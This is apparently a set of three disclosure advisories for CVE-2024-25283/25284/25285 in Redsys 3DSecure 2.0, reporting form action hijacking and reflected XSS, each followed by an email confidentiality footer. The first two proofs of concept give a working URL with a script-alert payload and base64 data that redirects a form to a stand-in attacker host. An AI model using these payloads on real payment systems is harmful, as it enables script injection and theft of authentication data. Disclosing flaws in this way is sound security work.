3DSecure 2.0 3DS Authorization Method Cross Site Request Forgery

3DSecure version 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft.

    Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Method AuthenticationTested Version(s): 3DSecure 2.0 3DS Method AuthenticationVulnerability Type: Cross-Site Scripting (XSS)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25285Overview:3DSecure 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft.Vulnerability Details:The threeDSMethodNotificationURL parameter is vulnerable to modification, allowing attackers to redirect form submissions to malicious destinations.Proof of Concept (PoC):By modifying the threeDSMethodNotificationURL parameter in a POST request, an attacker can change the form's action URL. Example:https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88zeSolution:No solution is currently available. Redsys has been notified.References:OWASP Web Security Testing Guide: Form Action HijackingDiscoverer:Reported by Rubén López Herrera________________________________Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción.The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it.Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição

3DSecure 2.0 3DS Method Authentication Cross Site Scripting

Multiple reflected cross site scripting vulnerabilities in the 3DS Authorization Method of 3DSecure version 2.0 allow attackers to inject arbitrary web scripts via the threeDSMethodData parameter.

    Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Authorization MethodTested Version(s): 3DSecure 2.0 3DS Authorization MethodVulnerability Type: Cross-Site Scripting (XSS)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25284Overview:Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0 allow attackers to inject arbitrary web scripts via the threeDSMethodData parameter.Vulnerability Details:The threeDSMethodData parameter is not sanitized before being processed, allowing attackers to inject scripts by concatenating code or modifying the base64-encoded information.Proof of Concept (PoC):An attacker can manipulate the threeDSMethodData parameter in the request URL to inject malicious code. Example:https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88zeSolution:No solution is currently available. Redsys has been notified of the issue.References:OWASP Web Security Testing Guide: Reflected Cross-Site ScriptingDiscoverer:Reported by Rubén López Herrera________________________________Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción.The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it.Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição

3DSecure 2.0 3DS Authorization Method Cross Site Scripting

Multiple reflected cross site scripting vulnerabilities exist in the 3DS Authorization Challenge of 3DSecure version 2.0. These flaws allow attackers to inject arbitrary web scripts, CSS, or HTML through the manipulation of the params parameter in the request URL.

    Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Authorization ChallengeTested Version(s): 3DSecure 2.0 3DS Authorization ChallengeVulnerability Type: Cross-Site Scripting (XSS)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25283Overview:Multiple reflected Cross-Site Scripting (XSS) vulnerabilities exist in the 3DS Authorization Challenge of 3DSecure 2.0. These flaws allow attackers to inject arbitrary web scripts, CSS, or HTML through the manipulation of the params parameter in the request URL.Vulnerability Details:The params parameter in the 3DS Authorization Challenge is vulnerable to code injection. This flaw occurs because the value entered into the parameter is not sanitized, allowing attackers to create new HTML elements in the DOM and execute malicious code in the victim's browser.Proof of Concept (PoC):An attacker can alter the base64-encoded params parameter in the request URL to inject arbitrary code. Example:https://[REDACTED]/[REDACTED]/rest/online/[REDACTED]/redirect?action=challenge&txn=[REDACTED]&params=[REDACTED]"References:OWASP Web Security Testing Guide: Reflected Cross-Site ScriptingDiscoverer:Reported by Rubén López Herrera________________________________Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción.The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it.Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição

Tag

#web